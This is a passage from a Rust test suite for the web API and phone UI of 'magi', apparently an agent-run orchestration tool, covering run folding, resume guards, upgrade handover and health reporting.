12129        let build = APP_JS
12130            .find("function createRunCard")
12131            .expect("createRunCard exists");
12132        let update = APP_JS
12133            .find("function updateRunCard")
12134            .expect("updateRunCard exists");
12135        let end = APP_JS
12136            .find("function renderRuns")
12137            .expect("renderRuns exists");
12138
12139        // The builder's published set: the object literal assigned to `refs`.
12140        let builder = &APP_JS[build..update];
12141        let open = builder.find("refs = {").expect("createRunCard sets refs");
12142        let literal = &builder[open + "refs = {".len()..];
12143        let close = literal.find('}').expect("the refs literal is closed");
12144        let published: HashSet<&str> = literal[..close]
12145            .split(',')
12146            // `name` and `name: value` both bind `name`.
12147            .filter_map(|entry| entry.split(':').next())
12148            .map(str::trim)
12149            .filter(|name| !name.is_empty())
12150            .collect();
12151        assert!(
12152            published.len() > 5,
12153            "the refs literal did not parse into names: {published:?}"
12154        );
12155
12156        // What the updaters reach for: every `r.<name>`, where `r` is the
12157        // `const r = row.refs` alias both functions open with.
12158        let mut used: Vec<&str> = Vec::new();
12159        let updaters = &APP_JS[update..end];
12160        for (at, _) in updaters.match_indices("r.") {
12161            // `r` must be the whole identifier, not the tail of another one
12162            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
12163            let before = updaters[..at].chars().next_back();
12164            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
12165                continue;
12166            }
12167            let rest = &updaters[at + 2..];
12168            let len = rest
12169                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
12170                .unwrap_or(rest.len());
12171            if len > 0 {
12172                used.push(&rest[..len]);
12173            }
12174        }
12175        assert!(
12176            used.len() > 5,
12177            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
12178        );
12179
12180        let missing: Vec<&str> = used
12181            .iter()
12182            .copied()
12183            .filter(|name| !published.contains(name))
12184            .collect();
12185        assert!(
12186            missing.is_empty(),
12187            "a run card's updater reaches for {missing:?}, which `createRunCard` \
12188             never put in `refs` - every card will throw and the list will \
12189             render empty under a count line that says otherwise. Published: \
12190             {published:?}"
12191        );
12192    }
12193
12194    #[tokio::test]
12195    async fn folding_from_the_phone_reports_what_it_removed() {
12196        let fx = Fixture::start().await;
12197        let runs = fx.runs();
12198
12199        // A run with no candidates has nothing to fold, which is a 200 with an
12200        // honest count rather than an error: the operator asked for the trees
12201        // to be gone and they are.
12202        let id = "20260901-000000-fold";
12203        write_run(&runs, id, RunStatus::Stalled);
12204        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12205        assert_eq!(res.status, 200);
12206        assert_eq!(res.json()["removed_count"], 0);
12207        assert_eq!(res.json()["run"], id);
12208        assert!(
12209            runs.join(id).exists(),
12210            "a fold keeps the run's record; only the worktrees go"
12211        );
12212    }
12213
12214    #[tokio::test]
12215    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
12216        let fx = Fixture::start().await;
12217        let runs = fx.runs();
12218        let wt = fx.home.path().join("wt").join("magi").join("dead");
12219        let id = "20260901-000000-dead";
12220        std::fs::create_dir_all(runs.join(id)).expect("run dir");
12221        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
12222        std::fs::create_dir_all(&wt).expect("worktree dir");
12223
12224        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12225        assert_eq!(res.status, 200, "{}", res.body);
12226        assert!(
12227            res.json()["removed_count"].as_u64().unwrap() > 0,
12228            "the worktree this build could not read a state for still went"
12229        );
12230        assert!(
12231            !runs.join(id).exists(),
12232            "an unreadable run has no candidate list to fold selectively, so \
12233             the whole record goes - same as `magi fold` on the CLI"
12234        );
12235    }
12236
12237    #[tokio::test]
12238    async fn deleting_an_unreadable_run_removes_it_wholesale() {
12239        let fx = Fixture::start().await;
12240        let runs = fx.runs();
12241        let wt = fx.home.path().join("wt").join("magi").join("gone");
12242        let id = "20260901-000000-gone";
12243        std::fs::create_dir_all(runs.join(id)).expect("run dir");
12244        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
12245        std::fs::create_dir_all(&wt).expect("worktree dir");
12246
12247        let res = fx.delete(&format!("/api/runs/{id}")).await;
12248        assert_eq!(res.status, 204, "{}", res.body);
12249        assert!(!runs.join(id).exists(), "the broken record is gone");
12250        assert!(!wt.exists(), "its worktree is gone too");
12251    }
12252
12253    #[tokio::test]
12254    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
12255        let fx = Fixture::start().await;
12256        let runs = fx.runs();
12257        let id = "20260901-000000-live";
12258        write_run(&runs, id, RunStatus::Implementing);
12259
12260        let mut beat = crate::daemon::Status::new();
12261        beat.current = vec![crate::daemon::Current {
12262            task: "20260901-000000-task".to_owned(),
12263            run: id.to_owned(),
12264        }];
12265        beat.updated_at = jiff::Timestamp::now();
12266        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12267            .expect("publish a heartbeat");
12268
12269        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12270        assert_eq!(res.status, 409);
12271        assert!(
12272            res.json()["error"]
12273                .as_str()
12274                .unwrap()
12275                .contains("live daemon"),
12276            "folding under a running agent would pull its worktree away"
12277        );
12278    }
12279
12280    #[tokio::test]
12281    async fn fold_merged_requires_a_pr_url() {
12282        let fx = Fixture::start().await;
12283        let runs = fx.runs();
12284        let id = "20260901-000000-nourl";
12285        write_run(&runs, id, RunStatus::Blocked);
12286
12287        let res = fx
12288            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
12289            .await;
12290        assert_eq!(res.status, 400, "{}", res.body);
12291
12292        let blank = fx
12293            .post(
12294                &format!("/api/runs/{id}/fold-merged"),
12295                Some(r#"{"pr_url":"   "}"#),
12296            )
12297            .await;
12298        assert_eq!(blank.status, 400, "{}", blank.body);
12299    }
12300
12301    #[tokio::test]
12302    async fn fold_merged_is_404_for_an_unknown_run() {
12303        let fx = Fixture::start().await;
12304        let res = fx
12305            .post(
12306                "/api/runs/nosuchrun/fold-merged",
12307                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12308            )
12309            .await;
12310        assert_eq!(res.status, 404, "{}", res.body);
12311    }
12312
12313    #[tokio::test]
12314    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
12315        let fx = Fixture::start().await;
12316        let runs = fx.runs();
12317        let id = "20260901-000000-livemerge";
12318        write_run(&runs, id, RunStatus::Blocked);
12319
12320        let mut beat = crate::daemon::Status::new();
12321        beat.current = vec![crate::daemon::Current {
12322            task: "20260901-000000-task".to_owned(),
12323            run: id.to_owned(),
12324        }];
12325        beat.updated_at = jiff::Timestamp::now();
12326        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12327            .expect("publish a heartbeat");
12328
12329        let res = fx
12330            .post(
12331                &format!("/api/runs/{id}/fold-merged"),
12332                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12333            )
12334            .await;
12335        assert_eq!(res.status, 409, "{}", res.body);
12336        assert!(
12337            res.json()["error"]
12338                .as_str()
12339                .unwrap()
12340                .contains("live daemon"),
12341            "correcting a run's merge underneath a running agent would race \
12342             whatever it is doing to the same `status`/`merge` fields"
12343        );
12344    }
12345
12346    /// A pull request `gh` cannot even ask about (no such remote, no such
12347    /// repository) must never be recorded as a merge on a guess - the same
12348    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
12349    /// command line, reached here through the phone route instead.
12350    #[tokio::test]
12351    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
12352        let fx = Fixture::start().await;
12353        let runs = fx.runs();
12354        let id = "20260901-000000-unconfirmed";
12355        write_run(&runs, id, RunStatus::Blocked);
12356
12357        let res = fx
12358            .post(
12359                &format!("/api/runs/{id}/fold-merged"),
12360                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12361            )
12362            .await;
12363        assert_eq!(res.status, 400, "{}", res.body);
12364        assert_eq!(
12365            read_run(&runs, id).unwrap().status,
12366            RunStatus::Blocked,
12367            "a pull request that could not be confirmed merged must leave \
12368             the run exactly where it was"
12369        );
12370    }
12371
12372    #[tokio::test]
12373    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
12374        let fx = Fixture::start().await;
12375        let runs = fx.runs();
12376
12377        // Only a finished run and a failed one. An *interrupted* run - a
12378        // parked one, or one whose daemon was killed mid-node - is the case
12379        // resuming exists for: run 4043 sat at `reviewing` with the deck
12380        // saying it could not be resumed, which was the one state where
12381        // resuming was the only sensible answer.
12382        for (status, word) in [
12383            (RunStatus::Merged, "merged"),
12384            (RunStatus::Ready, "ready"),
12385            (RunStatus::Failed, "failed"),
12386        ] {
12387            let id = format!("20260901-000000-{}", &word[..4]);
12388            write_run(&runs, &id, status);
12389            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
12390            assert_eq!(res.status, 409, "{word} must not be resumable");
12391            let err = res.json()["error"].as_str().unwrap().to_owned();
12392            assert!(err.contains(word), "the refusal names the status: {err}");
12393        }
12394
12395        // And an interrupted run is accepted: 202, with the resume running in
12396        // the background. `Runner::resume` fails immediately here - the
12397        // fixture's run points at a repository that does not exist - which is
12398        // the point: the handler must not wait for it to find out.
12399        let mid = "20260901-000000-midf";
12400        write_run(&runs, mid, RunStatus::Reviewing);
12401        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
12402        assert_eq!(res.status, 202, "an interrupted run is resumable");
12403    }
12404
12405    #[tokio::test]
12406    async fn resume_is_refused_while_the_loop_is_running() {
12407        let fx = Fixture::start().await;
12408        let runs = fx.runs();
12409        let stalled = "20260901-000000-stal";
12410        write_run(&runs, stalled, RunStatus::Stalled);
12411
12412        // The loop is busy with a *different* run, and that is still a
12413        // refusal: a manual resume must never race whatever the loop itself
12414        // is already driving, whether that is one run or several.
12415        let mut beat = crate::daemon::Status::new();
12416        beat.current = vec![crate::daemon::Current {
12417            task: "20260901-000000-task".to_owned(),
12418            run: "20260901-000000-othr".to_owned(),
12419        }];
12420        beat.updated_at = jiff::Timestamp::now();
12421        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12422            .expect("publish a heartbeat");
12423
12424        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
12425        assert_eq!(res.status, 409);
12426        let err = res.json()["error"].as_str().unwrap().to_owned();
12427        assert!(err.contains("othr"), "it names what the loop is on: {err}");
12428        assert!(err.contains("stop it first"), "{err}");
12429    }
12430
12431    #[test]
12432    fn a_run_cannot_be_resumed_twice_at_once() {
12433        let home = TempDir::new().expect("temp home");
12434        let ui = Ui::new(
12435            Queue::at(home.path().join("queue")),
12436            Questions::at(home.path().join("questions")),
12437            Talks::at(home.path().join("talks")),
12438            home.path().join("runs"),
12439            home.path().to_path_buf(),
12440            PathBuf::from("/repo"),
12441        )
12442        .with_worktrees_root(home.path().join("wt"));
12443        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
12444        let again = ui.begin_resume("20260901-000000-once");
12445        assert!(again.is_err(), "a second tap must not start a second graph");
12446        drop(first);
12447        assert!(
12448            ui.begin_resume("20260901-000000-once").is_ok(),
12449            "and the claim is released when the attempt ends"
12450        );
12451    }
12452
12453    #[test]
12454    fn talk_thinking_tracks_only_its_held_turn_claim() {
12455        let home = TempDir::new().expect("temp home");
12456        let ui = Ui::new(
12457            Queue::at(home.path().join("queue")),
12458            Questions::at(home.path().join("questions")),
12459            Talks::at(home.path().join("talks")),
12460            home.path().join("runs"),
12461            home.path().to_path_buf(),
12462            PathBuf::from("/repo"),
12463        )
12464        .with_worktrees_root(home.path().join("wt"));
12465        let id = "20260901-000000-once";
12466
12467        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
12468        let turn = ui.begin_talk_turn(id).expect("claim turn");
12469        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
12470        assert!(
12471            !ui.is_thinking("20260901-000000-other"),
12472            "one talk's turn does not make another talk busy"
12473        );
12474        drop(turn);
12475        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
12476    }
12477
12478    #[tokio::test]
12479    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
12480        let fx = Fixture::start().await;
12481        // Somebody else's `magi serve` owns the queue. Replacing this binary
12482        // would leave that process running an old one against the same
12483        // claims, which is worse than refusing.
12484        let mut beat = crate::daemon::Status::new();
12485        beat.pid = 4321;
12486        beat.updated_at = jiff::Timestamp::now();
12487        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12488            .expect("publish a heartbeat");
12489
12490        let res = fx.post("/api/upgrade", None).await;
12491        assert_eq!(res.status, 409);
12492        let err = res.json()["error"].as_str().unwrap().to_owned();
12493        assert!(err.contains("4321"), "the refusal names the owner: {err}");
12494        assert!(err.contains("old one against the same queue"), "{err}");
12495    }
12496
12497    /// [`should_spawn_recheck`] must refuse for the same two reasons
12498    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
12499    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
12500    /// Purely a predicate over config and the environment - no network, no
12501    /// disk, no runtime - so unlike the fixture-based tests around it this
12502    /// one needs neither.
12503    #[test]
12504    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
12505        assert!(!should_spawn_recheck(&crate::config::Update {
12506            mode: UpdateMode::Off,
12507            interval: None,
12508        }));
12509
12510        // SAFETY: single-threaded as far as this variable goes, the same
12511        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
12512        unsafe {
12513            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
12514        }
12515        let killed = should_spawn_recheck(&crate::config::Update {
12516            mode: UpdateMode::Notify,
12517            interval: None,
12518        });
12519        unsafe {
12520            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
12521        }
12522        assert!(
12523            !killed,
12524            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
12525             one-time startup check"
12526        );
12527
12528        assert!(should_spawn_recheck(&crate::config::Update {
12529            mode: UpdateMode::Notify,
12530            interval: None,
12531        }));
12532    }
12533
12534    /// [`recheck_poll_period`] must track a configured `[update] interval`
12535    /// shorter than its own default ceiling - a fixed sleep here would leave
12536    /// an operator's short interval waiting on the next wake-up instead of on
12537    /// `should_check`, which is the same bug this whole task exists to fix,
12538    /// just one level down.
12539    #[test]
12540    fn recheck_poll_period_tracks_a_short_configured_interval() {
12541        let short = crate::config::Update {
12542            mode: UpdateMode::Notify,
12543            interval: Some("1m".to_owned()),
12544        };
12545        let period = recheck_poll_period(&short);
12546        assert!(
12547            period <= Duration::from_secs(30),
12548            "a one-minute interval must wake the task far sooner than the \
12549             default ceiling, or the deck would not notice within the \
12550             interval the operator configured: got {period:?}"
12551        );
12552
12553        let default = crate::config::Update {
12554            mode: UpdateMode::Notify,
12555            interval: None,
12556        };
12557        assert_eq!(
12558            recheck_poll_period(&default),
12559            UPDATE_RECHECK_POLL_MAX,
12560            "the default day-long interval should poll at the (capped) \
12561             ceiling rather than needlessly often"
12562        );
12563    }
12564
12565    /// [`update_recheck_due`] must not repeat a check made moments ago, the
12566    /// same throttle `updater::Checker::should_check` already gives the
12567    /// CLI's notify mode. Built over an explicit state file via
12568    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
12569    /// write the operator's real `last_update_check.json` - and therefore
12570    /// cannot flake on whatever that file happens to say on the machine
12571    /// running the test.
12572    #[test]
12573    fn recheck_skips_the_network_before_the_interval_elapses() {
12574        let dir = TempDir::new().expect("temp dir");
12575        let path = dir.path().join("state.json");
12576        let state = kaishin::UpdateCheckState {
12577            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
12578            last_known_latest: None,
12579            last_known_url: None,
12580        };
12581        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
12582
12583        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
12584        assert!(
12585            !update_recheck_due(&checker, None),
12586            "a check made moments ago must not be repeated before the \
12587             configured interval elapses"
12588        );
12589    }
12590
12591    /// An upgrade this deck already started must not be raced by a recheck
12592    /// that discovers a newer release mid-install - regardless of what
12593    /// `should_check` says, which is why the state file here is missing
12594    /// entirely: read alone, that alone would answer "never checked, go
12595    /// ahead".
12596    #[test]
12597    fn recheck_defers_to_an_upgrade_already_in_flight() {
12598        let dir = TempDir::new().expect("temp dir");
12599        let path = dir.path().join("state.json");
12600        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
12601        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
12602
12603        assert!(
12604            !update_recheck_due(&checker, Some(&progress)),
12605            "a recheck must not run while an upgrade this deck started is \
12606             still moving"
12607        );
12608    }
12609
12610    #[tokio::test]
12611    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
12612        // The same env var the background check honours (`disabled_by_env`)
12613        // must also stop a button press before it ever calls
12614        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
12615        // means "never contact GitHub from this process", and a tap on the
12616        // upgrade button must not override that any more than a broken
12617        // `magi.toml` may. Left unset, this fixture's default config would
12618        // otherwise reach a real, unauthenticated GitHub call.
12619        //
12620        // SAFETY: single-threaded as far as this variable goes - nothing else
12621        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
12622        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
12623        unsafe {
12624            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
12625        }
12626        let fx = Fixture::start().await;
12627        let res = fx.post("/api/upgrade", None).await;
12628        unsafe {
12629            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
12630        }
12631        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
12632        let body = res.json();
12633        assert!(body["to"].is_null(), "there was no release to move to");
12634        assert!(body["parked"].is_null(), "and nothing was parked");
12635        assert!(
12636            body["detail"]
12637                .as_str()
12638                .unwrap()
12639                .contains("disabled by MAGI_NO_AUTOUPDATE"),
12640            "{body:?}"
12641        );
12642    }
12643
12644    #[tokio::test]
12645    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
12646        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
12647        // and the route answers from its own logic.
12648        //
12649        // This test used to lean on the fixture's placeholder repo failing
12650        // config discovery, which left `mode = "notify"` - and a live,
12651        // unauthenticated call to the GitHub releases API inside a unit test.
12652        // GitHub allows 60 of those an hour per address, so the suite went red
12653        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
12654        // long as somebody kept re-running it: every attempt spent another
12655        // request. Six reruns across four pull requests were charged to that
12656        // before it was read as a rate limit rather than a flake.
12657        //
12658        // What the assertion is about is the "already current" branch, which
12659        // is reached by there being no newer release *or* nowhere to look. The
12660        // second one needs no network and cannot be rate limited.
12661        let repo = TempDir::new().expect("repo dir");
12662        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
12663            .expect("write magi.toml");
12664        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12665
12666        // It must answer 200 and leave the process alone: restarting for an
12667        // upgrade that did not happen parks the run in flight and drops every
12668        // connection to pay for nothing. A probe against a deck already on the
12669        // newest build did exactly that, which is how this case got its own
12670        // branch.
12671        let res = fx.post("/api/upgrade", None).await;
12672        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
12673        let body = res.json();
12674        assert!(body["to"].is_null(), "there was no release to move to");
12675        assert!(body["parked"].is_null(), "and nothing was parked");
12676        assert!(
12677            body["detail"]
12678                .as_str()
12679                .unwrap()
12680                .contains("nothing restarted"),
12681            "{body:?}"
12682        );
12683    }
12684
12685    #[tokio::test]
12686    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
12687        // `mode = "off"` for the same reason as the test above: a default
12688        // fixture repo falls back to `mode = "notify"`, which would make this
12689        // route's new `update` field a live, unauthenticated GitHub call on
12690        // every assertion in this suite that happens to hit `/api/health`.
12691        let repo = TempDir::new().expect("repo dir");
12692        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
12693            .expect("write magi.toml");
12694        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12695
12696        let health = fx.get("/api/health").await.json();
12697        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
12698        assert_eq!(
12699            health["update"]["available"], false,
12700            "checking is off, which reads as \"unknown\", not \"none\""
12701        );
12702        assert!(health["update"]["to"].is_null());
12703        assert!(
12704            health["upgrade"].is_null(),
12705            "nothing has ever asked this deck to upgrade"
12706        );
12707    }
12708
12709    #[tokio::test]
12710    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
12711        let fx = Fixture::start().await;
12712        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
12713
12714        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
12715        progress.parked_run = Some("20260905-000000-cd51".to_owned());
12716        progress.advance(crate::updater::Stage::Parking);
12717        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
12718
12719        let health = fx.get("/api/health").await.json();
12720        assert_eq!(health["upgrade"]["stage"], "parking");
12721        assert_eq!(health["upgrade"]["from"], "0.5.1");
12722        assert_eq!(health["upgrade"]["to"], "0.5.2");
12723        let waiting_on = health["upgrade"]["waiting_on"]
12724            .as_str()
12725            .expect("waiting_on is set while parking a known run");
12726        assert!(waiting_on.contains("cd51"), "{waiting_on}");
12727        assert!(waiting_on.contains("implementing"), "{waiting_on}");
12728    }
12729
12730    #[tokio::test]
12731    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
12732        let fx = Fixture::start().await;
12733        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
12734        progress.advance(crate::updater::Stage::Done);
12735        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
12736
12737        let health = fx.get("/api/health").await.json();
12738        assert_eq!(health["upgrade"]["stage"], "done");
12739        assert!(
12740            health["upgrade"]["waiting_on"].is_null(),
12741            "nothing to wait on once it is done"
12742        );
12743    }
12744
12745    #[tokio::test]
12746    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
12747        let home = TempDir::new().expect("temp home");
12748        let runs = home.path().join("runs");
12749        std::fs::create_dir_all(&runs).expect("runs dir");
12750        let ui = Ui::new(
12751            Queue::at(home.path().join("queue")),
12752            Questions::at(home.path().join("questions")),
12753            Talks::at(home.path().join("talks")),
12754            runs,
12755            home.path().to_path_buf(),
12756            PathBuf::from("/repo/magi"),
12757        )
12758        .with_launch(launch_idle);
12759        let looping = ui.looping();
12760        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
12761            .await
12762            .expect("bind loopback");
12763        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
12764
12765        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
12766        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
12767
12768        hand_over(home.path(), &looping, served, |_| Ok(()))
12769            .await
12770            .expect("hand over");
12771
12772        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
12773        assert_eq!(
12774            after.stage,
12775            crate::updater::Stage::Restarting,
12776            "hand_over owns the record through parking and up to restarting; \
12777             the successor is what finishes it"
12778        );
12779    }
12780
12781    fn idle_ui(home: &TempDir) -> Ui {
12782        let runs = home.path().join("runs");
12783        std::fs::create_dir_all(&runs).expect("runs dir");
12784        Ui::new(
12785            Queue::at(home.path().join("queue")),
12786            Questions::at(home.path().join("questions")),
12787            Talks::at(home.path().join("talks")),
12788            runs,
12789            home.path().to_path_buf(),
12790            PathBuf::from("/repo/magi"),
12791        )
12792        .with_launch(launch_idle)
12793    }
12794
12795    /// Run `hand_over` against `ui` and return what the successor was told.
12796    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
12797        let looping = ui.looping();
12798        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
12799            .await
12800            .expect("bind loopback");
12801        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
12802        let told = std::sync::Mutex::new(None);
12803        hand_over(home.path(), &looping, served, |resume| {
12804            *told.lock().unwrap() = Some(resume);
12805            Ok(())
12806        })
12807        .await
12808        .expect("hand over");
12809        told.into_inner().unwrap().expect("successor was started")
12810    }
12811
12812    #[tokio::test]
12813    async fn a_running_loop_is_resumed_by_the_successor() {
12814        let home = TempDir::new().expect("temp home");
12815        let ui = idle_ui(&home);
12816        ui.start_loop(None).expect("start");
12817        ui.park_for_upgrade().expect("park");
12818        // The idle loop sees the park and ends before the handover fires.
12819        for _ in 0..500 {
12820            if !ui.loop_view(None).running {
12821                break;
12822            }
12823            tokio::time::sleep(Duration::from_millis(2)).await;
12824        }
12825        assert!(handed_over(&home, ui).await, "a running loop must resume");
12826
12827        let successor = idle_ui(&home);
12828        assert!(!successor.loop_view(None).running);
12829        assert!(successor.resume_after_handover(true));
12830        assert!(successor.loop_view(None).running);
12831        successor.stop_loop(None, false).expect("stop");
12832    }
12833
12834    #[tokio::test]
12835    async fn a_second_upgrade_request_keeps_the_resume_intent() {
12836        let home = TempDir::new().expect("temp home");
12837        let ui = idle_ui(&home);
12838        ui.start_loop(None).expect("start");
12839        ui.park_for_upgrade().expect("first park");
12840        ui.park_for_upgrade().expect("second park");
12841        assert!(handed_over(&home, ui).await);
12842    }
12843
12844    #[tokio::test]
12845    async fn a_stop_during_the_handover_wait_is_honoured() {
12846        let home = TempDir::new().expect("temp home");
12847        let ui = idle_ui(&home);
12848        ui.start_loop(None).expect("start");
12849        ui.park_for_upgrade().expect("park");
12850        ui.stop_loop(None, false).expect("stop");
12851        assert!(!handed_over(&home, ui).await);
12852    }
12853
12854    #[tokio::test]
12855    async fn an_idle_loop_stays_stopped_across_the_handover() {
12856        let home = TempDir::new().expect("temp home");
12857        let ui = idle_ui(&home);
12858        ui.park_for_upgrade().expect("park");
12859        assert!(!handed_over(&home, ui).await);
12860
12861        let successor = idle_ui(&home);
12862        assert!(!successor.resume_after_handover(false));
12863        assert!(!successor.loop_view(None).running);
12864    }
12865
12866    #[tokio::test]
12867    async fn a_loop_the_operator_stopped_is_not_resumed() {
12868        let home = TempDir::new().expect("temp home");
12869        let ui = idle_ui(&home);
12870        ui.start_loop(None).expect("start");
12871        ui.stop_loop(None, false).expect("stop");
12872        ui.park_for_upgrade().expect("park");
12873        assert!(!handed_over(&home, ui).await);
12874    }
12875
12876    #[test]
12877    fn only_an_explicit_one_requests_a_resume() {
12878        assert!(!resume_requested(None));
12879        assert!(!resume_requested(Some("0".into())));
12880        assert!(!resume_requested(Some("".into())));
12881        assert!(resume_requested(Some("1".into())));
12882    }
12883
12884    #[test]
12885    fn the_upgrade_button_arms_before_it_restarts_anything() {
12886        // It ends the process the operator is talking to, and a phone in a
12887        // pocket taps things. One tap arms, the second commits.
12888        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
12889        assert!(APP_JS.contains("Replace the binary and restart?"));
12890        assert!(APP_JS.contains("function confirmed("));
12891        // Hidden when the loop is somebody else's, matching the 409 above -
12892        // and hidden with nothing to install, matching the 200 "already
12893        // current" branch: an operator on the newest build must not be
12894        // offered a restart that would only park a run for nothing.
12895        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
12896        // A park waits for the node in flight, up to an hour for an implement
12897        // wave. Leaving the button reading "Upgrading…" for that long is the
12898        // same mistake as an error rendered off screen: it looks wedged.
12899        assert!(
12900            APP_JS.contains("Parking, then restarting"),
12901            "the button says what it is waiting for"
12902        );
12903        // And nothing to install must give the button back rather than
12904        // pretending a restart is coming.
12905        assert!(APP_JS.contains("if (!out.to)"));
12906    }
12907
12908    #[test]
12909    fn stopping_the_loop_arms_but_starting_does_not() {
12910        // A stray tap must not leave the queue stopped overnight, so a stop is
12911        // two taps through the same helper the upgrade uses; a start stays one.
12912        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
12913        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
12914        assert!(APP_JS.contains("confirmed(button, question)"));
12915        // The label put back on timeout is the one saved when arming, not a
12916        // hard-coded upgrade caption that would rename the stop button.
12917        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
12918        assert!(APP_JS.contains("const label = btn.textContent;"));
12919        assert!(!APP_JS.contains("Neither direction is guarded"));
12920    }
12921
12922    #[test]
12923    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
12924        assert!(
12925            APP_JS.contains("state.health.version"),
12926            "the operator wants to know what is running even with nothing newer"
12927        );
12928        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
12929    }
12930
12931    #[test]
12932    fn the_upgrade_button_names_its_destination() {
12933        assert!(
12934            APP_JS.contains("`Update to ${update.to}`"),
12935            "pressing the button should not be a surprise about what it moves to"
12936        );
12937    }
12938
12939    #[test]
12940    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
12941        for stage in ["downloading", "replaced", "parking", "restarting"] {
12942            assert!(
12943                APP_JS.contains(&format!("\"{stage}\"")),
12944                "the phone must be able to tell {stage} apart from the others"
12945            );
12946        }
12947        assert!(APP_JS.contains(".waiting_on"));
12948        // What replaced the bare "Cannot reach magi: Failed to fetch": a
12949        // fetch failing while an upgrade is in flight is not an error, it is
12950        // the sub-second gap `bind_waiting` covers, and it must not be
12951        // reported as one.
12952        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
12953        assert!(APP_JS.contains("reconnects on its own"));
12954    }
12955
12956    #[test]
12957    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
12958        // `Stage::Failed` is terminal on the server and nothing clears it on
12959        // its own - not a fresh start, not time passing - so a full-strip
12960        // takeover for it (the way the busy stages take the strip over,
